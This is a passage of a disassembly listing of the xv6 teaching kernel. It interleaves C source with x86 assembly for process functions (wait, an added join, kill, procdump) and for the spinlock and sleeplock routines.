80103a3d: eb db jmp 80103a1a <wait+0x84>
if(!havekids || curproc->killed){
80103a3f: 85 c0 test %eax,%eax
80103a41: 74 06 je 80103a49 <wait+0xb3>
80103a43: 83 7e 24 00 cmpl $0x0,0x24(%esi)
80103a47: 74 17 je 80103a60 <wait+0xca>
release(&ptable.lock);
80103a49: 83 ec 0c sub $0xc,%esp
80103a4c: 68 20 2d 11 80 push $0x80112d20
80103a51: e8 2c 05 00 00 call 80103f82 <release>
return -1;
80103a56: 83 c4 10 add $0x10,%esp
80103a59: be ff ff ff ff mov $0xffffffff,%esi
80103a5e: eb b1 jmp 80103a11 <wait+0x7b>
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103a60: 83 ec 08 sub $0x8,%esp
80103a63: 68 20 2d 11 80 push $0x80112d20
80103a68: 56 push %esi
80103a69: e8 93 fe ff ff call 80103901 <sleep>
havekids = 0;
80103a6e: 83 c4 10 add $0x10,%esp
80103a71: e9 40 ff ff ff jmp 801039b6 <wait+0x20>
80103a76 <join>:
int join(void **stack){
80103a76: f3 0f 1e fb endbr32
80103a7a: 55 push %ebp
80103a7b: 89 e5 mov %esp,%ebp
80103a7d: 56 push %esi
80103a7e: 53 push %ebx
struct proc *curproc = myproc();
80103a7f: e8 41 f8 ff ff call 801032c5 <myproc>
80103a84: 89 c6 mov %eax,%esi
acquire(&ptable.lock);
80103a86: 83 ec 0c sub $0xc,%esp
80103a89: 68 20 2d 11 80 push $0x80112d20
80103a8e: e8 86 04 00 00 call 80103f19 <acquire>
80103a93: 83 c4 10 add $0x10,%esp
havekids = 0;
80103a96: b8 00 00 00 00 mov $0x0,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a9b: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103aa0: eb 58 jmp 80103afa <join+0x84>
*stack = p->user_stack;
80103aa2: 8b 53 7c mov 0x7c(%ebx),%edx
80103aa5: 8b 45 08 mov 0x8(%ebp),%eax
80103aa8: 89 10 mov %edx,(%eax)
pid = p->pid;
80103aaa: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103aad: 83 ec 0c sub $0xc,%esp
80103ab0: ff 73 08 pushl 0x8(%ebx)
80103ab3: e8 73 e5 ff ff call 8010202b <kfree>
p->kstack = 0;
80103ab8: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
p->state = UNUSED;
80103abf: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
p->pid = 0;
80103ac6: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103acd: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103ad4: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103ad8: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
release(&ptable.lock);
80103adf: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103ae6: e8 97 04 00 00 call 80103f82 <release>
return pid;
80103aeb: 83 c4 10 add $0x10,%esp
}
80103aee: 89 f0 mov %esi,%eax
80103af0: 8d 65 f8 lea -0x8(%ebp),%esp
80103af3: 5b pop %ebx
80103af4: 5e pop %esi
80103af5: 5d pop %ebp
80103af6: c3 ret
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103af7: 83 eb 80 sub $0xffffff80,%ebx
80103afa: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103b00: 73 1a jae 80103b1c <join+0xa6>
if(p->parent != curproc || p->pgdir != curproc->pgdir)
80103b02: 39 73 14 cmp %esi,0x14(%ebx)
80103b05: 75 f0 jne 80103af7 <join+0x81>
80103b07: 8b 4e 04 mov 0x4(%esi),%ecx
80103b0a: 39 4b 04 cmp %ecx,0x4(%ebx)
80103b0d: 75 e8 jne 80103af7 <join+0x81>
if(p->state != ZOMBIE) {
80103b0f: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103b13: 74 8d je 80103aa2 <join+0x2c>
havekids = 1;
80103b15: b8 01 00 00 00 mov $0x1,%eax
80103b1a: eb db jmp 80103af7 <join+0x81>
if(!havekids || curproc->killed){
80103b1c: 85 c0 test %eax,%eax
80103b1e: 74 06 je 80103b26 <join+0xb0>
80103b20: 83 7e 24 00 cmpl $0x0,0x24(%esi)
80103b24: 74 17 je 80103b3d <join+0xc7>
release(&ptable.lock);
80103b26: 83 ec 0c sub $0xc,%esp
80103b29: 68 20 2d 11 80 push $0x80112d20
80103b2e: e8 4f 04 00 00 call 80103f82 <release>
return -1;
80103b33: 83 c4 10 add $0x10,%esp
80103b36: be ff ff ff ff mov $0xffffffff,%esi
80103b3b: eb b1 jmp 80103aee <join+0x78>
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103b3d: 83 ec 08 sub $0x8,%esp
80103b40: 68 20 2d 11 80 push $0x80112d20
80103b45: 56 push %esi
80103b46: e8 b6 fd ff ff call 80103901 <sleep>
havekids = 0;
80103b4b: 83 c4 10 add $0x10,%esp
80103b4e: e9 43 ff ff ff jmp 80103a96 <join+0x20>
80103b53 <wakeup>:
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80103b53: f3 0f 1e fb endbr32
80103b57: 55 push %ebp
80103b58: 89 e5 mov %esp,%ebp
80103b5a: 83 ec 14 sub $0x14,%esp
acquire(&ptable.lock);
80103b5d: 68 20 2d 11 80 push $0x80112d20
80103b62: e8 b2 03 00 00 call 80103f19 <acquire>
wakeup1(chan);
80103b67: 8b 45 08 mov 0x8(%ebp),%eax
80103b6a: e8 8d f5 ff ff call 801030fc <wakeup1>
release(&ptable.lock);
80103b6f: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103b76: e8 07 04 00 00 call 80103f82 <release>
}
80103b7b: 83 c4 10 add $0x10,%esp
80103b7e: c9 leave
80103b7f: c3 ret
80103b80 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80103b80: f3 0f 1e fb endbr32
80103b84: 55 push %ebp
80103b85: 89 e5 mov %esp,%ebp
80103b87: 53 push %ebx
80103b88: 83 ec 10 sub $0x10,%esp
80103b8b: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
80103b8e: 68 20 2d 11 80 push $0x80112d20
80103b93: e8 81 03 00 00 call 80103f19 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103b98: 83 c4 10 add $0x10,%esp
80103b9b: b8 54 2d 11 80 mov $0x80112d54,%eax
80103ba0: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103ba5: 73 3a jae 80103be1 <kill+0x61>
if(p->pid == pid){
80103ba7: 39 58 10 cmp %ebx,0x10(%eax)
80103baa: 74 05 je 80103bb1 <kill+0x31>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103bac: 83 e8 80 sub $0xffffff80,%eax
80103baf: eb ef jmp 80103ba0 <kill+0x20>
p->killed = 1;
80103bb1: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103bb8: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103bbc: 74 1a je 80103bd8 <kill+0x58>
p->state = RUNNABLE;
release(&ptable.lock);
80103bbe: 83 ec 0c sub $0xc,%esp
80103bc1: 68 20 2d 11 80 push $0x80112d20
80103bc6: e8 b7 03 00 00 call 80103f82 <release>
return 0;
80103bcb: 83 c4 10 add $0x10,%esp
80103bce: b8 00 00 00 00 mov $0x0,%eax
}
}
release(&ptable.lock);
return -1;
}
80103bd3: 8b 5d fc mov -0x4(%ebp),%ebx
80103bd6: c9 leave
80103bd7: c3 ret
p->state = RUNNABLE;
80103bd8: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103bdf: eb dd jmp 80103bbe <kill+0x3e>
release(&ptable.lock);
80103be1: 83 ec 0c sub $0xc,%esp
80103be4: 68 20 2d 11 80 push $0x80112d20
80103be9: e8 94 03 00 00 call 80103f82 <release>
return -1;
80103bee: 83 c4 10 add $0x10,%esp
80103bf1: b8 ff ff ff ff mov $0xffffffff,%eax
80103bf6: eb db jmp 80103bd3 <kill+0x53>
80103bf8 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80103bf8: f3 0f 1e fb endbr32
80103bfc: 55 push %ebp
80103bfd: 89 e5 mov %esp,%ebp
80103bff: 56 push %esi
80103c00: 53 push %ebx
80103c01: 83 ec 30 sub $0x30,%esp
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103c04: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103c09: eb 33 jmp 80103c3e <procdump+0x46>
if(p->state == UNUSED)
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
state = states[p->state];
else
state = "???";
80103c0b: b8 eb 6e 10 80 mov $0x80106eeb,%eax
cprintf("%d %s %s", p->pid, state, p->name);
80103c10: 8d 53 6c lea 0x6c(%ebx),%edx
80103c13: 52 push %edx
80103c14: 50 push %eax
80103c15: ff 73 10 pushl 0x10(%ebx)
80103c18: 68 ef 6e 10 80 push $0x80106eef
80103c1d: e8 07 ca ff ff call 80100629 <cprintf>
if(p->state == SLEEPING){
80103c22: 83 c4 10 add $0x10,%esp
80103c25: 83 7b 0c 02 cmpl $0x2,0xc(%ebx)
80103c29: 74 39 je 80103c64 <procdump+0x6c>
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80103c2b: 83 ec 0c sub $0xc,%esp
80103c2e: 68 5f 72 10 80 push $0x8010725f
80103c33: e8 f1 c9 ff ff call 80100629 <cprintf>
80103c38: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103c3b: 83 eb 80 sub $0xffffff80,%ebx
80103c3e: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103c44: 73 61 jae 80103ca7 <procdump+0xaf>
if(p->state == UNUSED)
80103c46: 8b 43 0c mov 0xc(%ebx),%eax
80103c49: 85 c0 test %eax,%eax
80103c4b: 74 ee je 80103c3b <procdump+0x43>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103c4d: 83 f8 05 cmp $0x5,%eax
80103c50: 77 b9 ja 80103c0b <procdump+0x13>
80103c52: 8b 04 85 4c 6f 10 80 mov -0x7fef90b4(,%eax,4),%eax
80103c59: 85 c0 test %eax,%eax
80103c5b: 75 b3 jne 80103c10 <procdump+0x18>
state = "???";
80103c5d: b8 eb 6e 10 80 mov $0x80106eeb,%eax
80103c62: eb ac jmp 80103c10 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80103c64: 8b 43 1c mov 0x1c(%ebx),%eax
80103c67: 8b 40 0c mov 0xc(%eax),%eax
80103c6a: 83 c0 08 add $0x8,%eax
80103c6d: 83 ec 08 sub $0x8,%esp
80103c70: 8d 55 d0 lea -0x30(%ebp),%edx
80103c73: 52 push %edx
80103c74: 50 push %eax
80103c75: e8 6e 01 00 00 call 80103de8 <getcallerpcs>
for(i=0; i<10 && pc[i] != 0; i++)
80103c7a: 83 c4 10 add $0x10,%esp
80103c7d: be 00 00 00 00 mov $0x0,%esi
80103c82: eb 14 jmp 80103c98 <procdump+0xa0>
cprintf(" %p", pc[i]);
80103c84: 83 ec 08 sub $0x8,%esp
80103c87: 50 push %eax
80103c88: 68 41 69 10 80 push $0x80106941
80103c8d: e8 97 c9 ff ff call 80100629 <cprintf>
for(i=0; i<10 && pc[i] != 0; i++)
80103c92: 83 c6 01 add $0x1,%esi
80103c95: 83 c4 10 add $0x10,%esp
80103c98: 83 fe 09 cmp $0x9,%esi
80103c9b: 7f 8e jg 80103c2b <procdump+0x33>
80103c9d: 8b 44 b5 d0 mov -0x30(%ebp,%esi,4),%eax
80103ca1: 85 c0 test %eax,%eax
80103ca3: 75 df jne 80103c84 <procdump+0x8c>
80103ca5: eb 84 jmp 80103c2b <procdump+0x33>
}
}
80103ca7: 8d 65 f8 lea -0x8(%ebp),%esp
80103caa: 5b pop %ebx
80103cab: 5e pop %esi
80103cac: 5d pop %ebp
80103cad: c3 ret
80103cae <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
80103cae: f3 0f 1e fb endbr32
80103cb2: 55 push %ebp
80103cb3: 89 e5 mov %esp,%ebp
80103cb5: 53 push %ebx
80103cb6: 83 ec 0c sub $0xc,%esp
80103cb9: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
80103cbc: 68 64 6f 10 80 push $0x80106f64
80103cc1: 8d 43 04 lea 0x4(%ebx),%eax
80103cc4: 50 push %eax
80103cc5: e8 ff 00 00 00 call 80103dc9 <initlock>
lk->name = name;
80103cca: 8b 45 0c mov 0xc(%ebp),%eax
80103ccd: 89 43 38 mov %eax,0x38(%ebx)
lk->locked = 0;
80103cd0: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80103cd6: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
}
80103cdd: 83 c4 10 add $0x10,%esp
80103ce0: 8b 5d fc mov -0x4(%ebp),%ebx
80103ce3: c9 leave
80103ce4: c3 ret
80103ce5 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80103ce5: f3 0f 1e fb endbr32
80103ce9: 55 push %ebp
80103cea: 89 e5 mov %esp,%ebp
80103cec: 56 push %esi
80103ced: 53 push %ebx
80103cee: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80103cf1: 8d 73 04 lea 0x4(%ebx),%esi
80103cf4: 83 ec 0c sub $0xc,%esp
80103cf7: 56 push %esi
80103cf8: e8 1c 02 00 00 call 80103f19 <acquire>
while (lk->locked) {
80103cfd: 83 c4 10 add $0x10,%esp
80103d00: 83 3b 00 cmpl $0x0,(%ebx)
80103d03: 74 0f je 80103d14 <acquiresleep+0x2f>
sleep(lk, &lk->lk);
80103d05: 83 ec 08 sub $0x8,%esp
80103d08: 56 push %esi
80103d09: 53 push %ebx
80103d0a: e8 f2 fb ff ff call 80103901 <sleep>
80103d0f: 83 c4 10 add $0x10,%esp
80103d12: eb ec jmp 80103d00 <acquiresleep+0x1b>
}
lk->locked = 1;
80103d14: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80103d1a: e8 a6 f5 ff ff call 801032c5 <myproc>
80103d1f: 8b 40 10 mov 0x10(%eax),%eax
80103d22: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80103d25: 83 ec 0c sub $0xc,%esp
80103d28: 56 push %esi
80103d29: e8 54 02 00 00 call 80103f82 <release>
}
80103d2e: 83 c4 10 add $0x10,%esp
80103d31: 8d 65 f8 lea -0x8(%ebp),%esp
80103d34: 5b pop %ebx
80103d35: 5e pop %esi
80103d36: 5d pop %ebp
80103d37: c3 ret
80103d38 <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
80103d38: f3 0f 1e fb endbr32
80103d3c: 55 push %ebp
80103d3d: 89 e5 mov %esp,%ebp
80103d3f: 56 push %esi
80103d40: 53 push %ebx
80103d41: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80103d44: 8d 73 04 lea 0x4(%ebx),%esi
80103d47: 83 ec 0c sub $0xc,%esp
80103d4a: 56 push %esi
80103d4b: e8 c9 01 00 00 call 80103f19 <acquire>
lk->locked = 0;
80103d50: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80103d56: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
80103d5d: 89 1c 24 mov %ebx,(%esp)
80103d60: e8 ee fd ff ff call 80103b53 <wakeup>
release(&lk->lk);
80103d65: 89 34 24 mov %esi,(%esp)
80103d68: e8 15 02 00 00 call 80103f82 <release>
}
80103d6d: 83 c4 10 add $0x10,%esp
80103d70: 8d 65 f8 lea -0x8(%ebp),%esp
80103d73: 5b pop %ebx
80103d74: 5e pop %esi
80103d75: 5d pop %ebp
80103d76: c3 ret
80103d77 <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
80103d77: f3 0f 1e fb endbr32
80103d7b: 55 push %ebp
80103d7c: 89 e5 mov %esp,%ebp
80103d7e: 56 push %esi
80103d7f: 53 push %ebx
80103d80: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
80103d83: 8d 73 04 lea 0x4(%ebx),%esi
80103d86: 83 ec 0c sub $0xc,%esp
80103d89: 56 push %esi
80103d8a: e8 8a 01 00 00 call 80103f19 <acquire>
r = lk->locked && (lk->pid == myproc()->pid);
80103d8f: 83 c4 10 add $0x10,%esp
80103d92: 83 3b 00 cmpl $0x0,(%ebx)
80103d95: 75 17 jne 80103dae <holdingsleep+0x37>
80103d97: bb 00 00 00 00 mov $0x0,%ebx
release(&lk->lk);
80103d9c: 83 ec 0c sub $0xc,%esp
80103d9f: 56 push %esi
80103da0: e8 dd 01 00 00 call 80103f82 <release>
return r;
}
80103da5: 89 d8 mov %ebx,%eax
80103da7: 8d 65 f8 lea -0x8(%ebp),%esp
80103daa: 5b pop %ebx
80103dab: 5e pop %esi
80103dac: 5d pop %ebp
80103dad: c3 ret
r = lk->locked && (lk->pid == myproc()->pid);
80103dae: 8b 5b 3c mov 0x3c(%ebx),%ebx
80103db1: e8 0f f5 ff ff call 801032c5 <myproc>
80103db6: 3b 58 10 cmp 0x10(%eax),%ebx
80103db9: 74 07 je 80103dc2 <holdingsleep+0x4b>
80103dbb: bb 00 00 00 00 mov $0x0,%ebx
80103dc0: eb da jmp 80103d9c <holdingsleep+0x25>
80103dc2: bb 01 00 00 00 mov $0x1,%ebx
80103dc7: eb d3 jmp 80103d9c <holdingsleep+0x25>
80103dc9 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80103dc9: f3 0f 1e fb endbr32
80103dcd: 55 push %ebp
80103dce: 89 e5 mov %esp,%ebp
80103dd0: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80103dd3: 8b 55 0c mov 0xc(%ebp),%edx
80103dd6: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
80103dd9: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->cpu = 0;
80103ddf: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80103de6: 5d pop %ebp
80103de7: c3 ret
80103de8 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80103de8: f3 0f 1e fb endbr32
80103dec: 55 push %ebp
80103ded: 89 e5 mov %esp,%ebp
80103def: 53 push %ebx
80103df0: 8b 4d 0c mov 0xc(%ebp),%ecx
uint *ebp;
int i;
ebp = (uint*)v - 2;
80103df3: 8b 45 08 mov 0x8(%ebp),%eax
80103df6: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
80103df9: b8 00 00 00 00 mov $0x0,%eax
80103dfe: 83 f8 09 cmp $0x9,%eax
80103e01: 7f 25 jg 80103e28 <getcallerpcs+0x40>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80103e03: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80103e09: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
80103e0f: 77 17 ja 80103e28 <getcallerpcs+0x40>
break;
pcs[i] = ebp[1]; // saved %eip
80103e11: 8b 5a 04 mov 0x4(%edx),%ebx
80103e14: 89 1c 81 mov %ebx,(%ecx,%eax,4)
ebp = (uint*)ebp[0]; // saved %ebp
80103e17: 8b 12 mov (%edx),%edx
for(i = 0; i < 10; i++){
80103e19: 83 c0 01 add $0x1,%eax
80103e1c: eb e0 jmp 80103dfe <getcallerpcs+0x16>
}
for(; i < 10; i++)
pcs[i] = 0;
80103e1e: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
for(; i < 10; i++)
80103e25: 83 c0 01 add $0x1,%eax
80103e28: 83 f8 09 cmp $0x9,%eax
80103e2b: 7e f1 jle 80103e1e <getcallerpcs+0x36>
}
80103e2d: 5b pop %ebx
80103e2e: 5d pop %ebp
80103e2f: c3 ret
80103e30 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80103e30: f3 0f 1e fb endbr32
80103e34: 55 push %ebp
80103e35: 89 e5 mov %esp,%ebp
80103e37: 53 push %ebx
80103e38: 83 ec 04 sub $0x4,%esp
80103e3b: 9c pushf
80103e3c: 5b pop %ebx
asm volatile("cli");
80103e3d: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
80103e3e: e8 03 f4 ff ff call 80103246 <mycpu>
80103e43: 83 b8 a4 00 00 00 00 cmpl $0x0,0xa4(%eax)
80103e4a: 74 12 je 80103e5e <pushcli+0x2e>
mycpu()->intena = eflags & FL_IF;
mycpu()->ncli += 1;
80103e4c: e8 f5 f3 ff ff call 80103246 <mycpu>
80103e51: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
80103e58: 83 c4 04 add $0x4,%esp
80103e5b: 5b pop %ebx
80103e5c: 5d pop %ebp
80103e5d: c3 ret
mycpu()->intena = eflags & FL_IF;
80103e5e: e8 e3 f3 ff ff call 80103246 <mycpu>
80103e63: 81 e3 00 02 00 00 and $0x200,%ebx
80103e69: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
80103e6f: eb db jmp 80103e4c <pushcli+0x1c>
80103e71 <popcli>:
void
popcli(void)
{
80103e71: f3 0f 1e fb endbr32
80103e75: 55 push %ebp
80103e76: 89 e5 mov %esp,%ebp
80103e78: 83 ec 08 sub $0x8,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103e7b: 9c pushf
80103e7c: 58 pop %eax
if(readeflags()&FL_IF)
80103e7d: f6 c4 02 test $0x2,%ah
80103e80: 75 28 jne 80103eaa <popcli+0x39>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
80103e82: e8 bf f3 ff ff call 80103246 <mycpu>
80103e87: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx
80103e8d: 8d 51 ff lea -0x1(%ecx),%edx
80103e90: 89 90 a4 00 00 00 mov %edx,0xa4(%eax)
80103e96: 85 d2 test %edx,%edx
80103e98: 78 1d js 80103eb7 <popcli+0x46>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
80103e9a: e8 a7 f3 ff ff call 80103246 <mycpu>
80103e9f: 83 b8 a4 00 00 00 00 cmpl $0x0,0xa4(%eax)
80103ea6: 74 1c je 80103ec4 <popcli+0x53>
sti();
}
80103ea8: c9 leave
80103ea9: c3 ret
panic("popcli - interruptible");
80103eaa: 83 ec 0c sub $0xc,%esp
80103ead: 68 6f 6f 10 80 push $0x80106f6f
80103eb2: e8 a5 c4 ff ff call 8010035c <panic>
panic("popcli");
80103eb7: 83 ec 0c sub $0xc,%esp
80103eba: 68 86 6f 10 80 push $0x80106f86
80103ebf: e8 98 c4 ff ff call 8010035c <panic>
if(mycpu()->ncli == 0 && mycpu()->intena)
80103ec4: e8 7d f3 ff ff call 80103246 <mycpu>
80103ec9: 83 b8 a8 00 00 00 00 cmpl $0x0,0xa8(%eax)
80103ed0: 74 d6 je 80103ea8 <popcli+0x37>
asm volatile("sti");
80103ed2: fb sti
}
80103ed3: eb d3 jmp 80103ea8 <popcli+0x37>
80103ed5 <holding>:
{
80103ed5: f3 0f 1e fb endbr32
80103ed9: 55 push %ebp
80103eda: 89 e5 mov %esp,%ebp
80103edc: 53 push %ebx
80103edd: 83 ec 04 sub $0x4,%esp
80103ee0: 8b 5d 08 mov 0x8(%ebp),%ebx
pushcli();
80103ee3: e8 48 ff ff ff call 80103e30 <pushcli>
r = lock->locked && lock->cpu == mycpu();
80103ee8: 83 3b 00 cmpl $0x0,(%ebx)
80103eeb: 75 12 jne 80103eff <holding+0x2a>
80103eed: bb 00 00 00 00 mov $0x0,%ebx
popcli();
80103ef2: e8 7a ff ff ff call 80103e71 <popcli>
}
80103ef7: 89 d8 mov %ebx,%eax
80103ef9: 83 c4 04 add $0x4,%esp
80103efc: 5b pop %ebx
80103efd: 5d pop %ebp
80103efe: c3 ret
r = lock->locked && lock->cpu == mycpu();
80103eff: 8b 5b 08 mov 0x8(%ebx),%ebx
80103f02: e8 3f f3 ff ff call 80103246 <mycpu>
80103f07: 39 c3 cmp %eax,%ebx
80103f09: 74 07 je 80103f12 <holding+0x3d>
80103f0b: bb 00 00 00 00 mov $0x0,%ebx
80103f10: eb e0 jmp 80103ef2 <holding+0x1d>
80103f12: bb 01 00 00 00 mov $0x1,%ebx
80103f17: eb d9 jmp 80103ef2 <holding+0x1d>
80103f19 <acquire>:
{
80103f19: f3 0f 1e fb endbr32
80103f1d: 55 push %ebp
80103f1e: 89 e5 mov %esp,%ebp
80103f20: 53 push %ebx
80103f21: 83 ec 04 sub $0x4,%esp
pushcli(); // disable interrupts to avoid deadlock.
80103f24: e8 07 ff ff ff call 80103e30 <pushcli>
if(holding(lk))
80103f29: 83 ec 0c sub $0xc,%esp
80103f2c: ff 75 08 pushl 0x8(%ebp)
80103f2f: e8 a1 ff ff ff call 80103ed5 <holding>
80103f34: 83 c4 10 add $0x10,%esp
80103f37: 85 c0 test %eax,%eax
80103f39: 75 3a jne 80103f75 <acquire+0x5c>
while(xchg(&lk->locked, 1) != 0)
80103f3b: 8b 55 08 mov 0x8(%ebp),%edx
asm volatile("lock; xchgl %0, %1" :
80103f3e: b8 01 00 00 00 mov $0x1,%eax
80103f43: f0 87 02 lock xchg %eax,(%edx)
80103f46: 85 c0 test %eax,%eax
80103f48: 75 f1 jne 80103f3b <acquire+0x22>
__sync_synchronize();
80103f4a: f0 83 0c 24 00 lock orl $0x0,(%esp)
lk->cpu = mycpu();
80103f4f: 8b 5d 08 mov 0x8(%ebp),%ebx
80103f52: e8 ef f2 ff ff call 80103246 <mycpu>
80103f57: 89 43 08 mov %eax,0x8(%ebx)
getcallerpcs(&lk, lk->pcs);
80103f5a: 8b 45 08 mov 0x8(%ebp),%eax
80103f5d: 83 c0 0c add $0xc,%eax
80103f60: 83 ec 08 sub $0x8,%esp
80103f63: 50 push %eax
80103f64: 8d 45 08 lea 0x8(%ebp),%eax
80103f67: 50 push %eax
80103f68: e8 7b fe ff ff call 80103de8 <getcallerpcs>
}
80103f6d: 83 c4 10 add $0x10,%esp
80103f70: 8b 5d fc mov -0x4(%ebp),%ebx
80103f73: c9 leave
80103f74: c3 ret
panic("acquire");
80103f75: 83 ec 0c sub $0xc,%esp
80103f78: 68 8d 6f 10 80 push $0x80106f8d
80103f7d: e8 da c3 ff ff call 8010035c <panic>
80103f82 <release>:
{
80103f82: f3 0f 1e fb endbr32
80103f86: 55 push %ebp
80103f87: 89 e5 mov %esp,%ebp
80103f89: 53 push %ebx
80103f8a: 83 ec 10 sub $0x10,%esp
80103f8d: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holding(lk))
80103f90: 53 push %ebx
80103f91: e8 3f ff ff ff call 80103ed5 <holding>
80103f96: 83 c4 10 add $0x10,%esp
80103f99: 85 c0 test %eax,%eax
80103f9b: 74 23 je 80103fc0 <release+0x3e>
lk->pcs[0] = 0;
80103f9d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
80103fa4: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
__sync_synchronize();
80103fab: f0 83 0c 24 00 lock orl $0x0,(%esp)
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
80103fb0: c7 03 00 00 00 00 movl $0x0,(%ebx)
popcli();
80103fb6: e8 b6 fe ff ff call 80103e71 <popcli>
}
80103fbb: 8b 5d fc mov -0x4(%ebp),%ebx
80103fbe: c9 leave
80103fbf: c3 ret
panic("release");
80103fc0: 83 ec 0c sub $0xc,%esp
80103fc3: 68 95 6f 10 80 push $0x80106f95
80103fc8: e8 8f c3 ff ff call 8010035c <panic>
80103fcd <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80103fcd: f3 0f 1e fb endbr32
80103fd1: 55 push %ebp
80103fd2: 89 e5 mov %esp,%ebp
80103fd4: 57 push %edi
80103fd5: 53 push %ebx
80103fd6: 8b 55 08 mov 0x8(%ebp),%edx
80103fd9: 8b 45 0c mov 0xc(%ebp),%eax
80103fdc: 8b 4d 10 mov 0x10(%ebp),%ecx
if ((int)dst%4 == 0 && n%4 == 0){
80103fdf: f6 c2 03 test $0x3,%dl
80103fe2: 75 25 jne 80104009 <memset+0x3c>
80103fe4: f6 c1 03 test $0x3,%cl
80103fe7: 75 20 jne 80104009 <memset+0x3c>
c &= 0xFF;
80103fe9: 0f b6 f8 movzbl %al,%edi
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
80103fec: c1 e9 02 shr $0x2,%ecx
80103fef: c1 e0 18 shl $0x18,%eax
80103ff2: 89 fb mov %edi,%ebx
80103ff4: c1 e3 10 shl $0x10,%ebx
80103ff7: 09 d8 or %ebx,%eax
80103ff9: 89 fb mov %edi,%ebx
80103ffb: c1 e3 08 shl $0x8,%ebx
80103ffe: 09 d8 or %ebx,%eax
80104000: 09 f8 or %edi,%eax
asm volatile("cld; rep stosl" :
80104002: 89 d7 mov %edx,%edi
80104004: fc cld
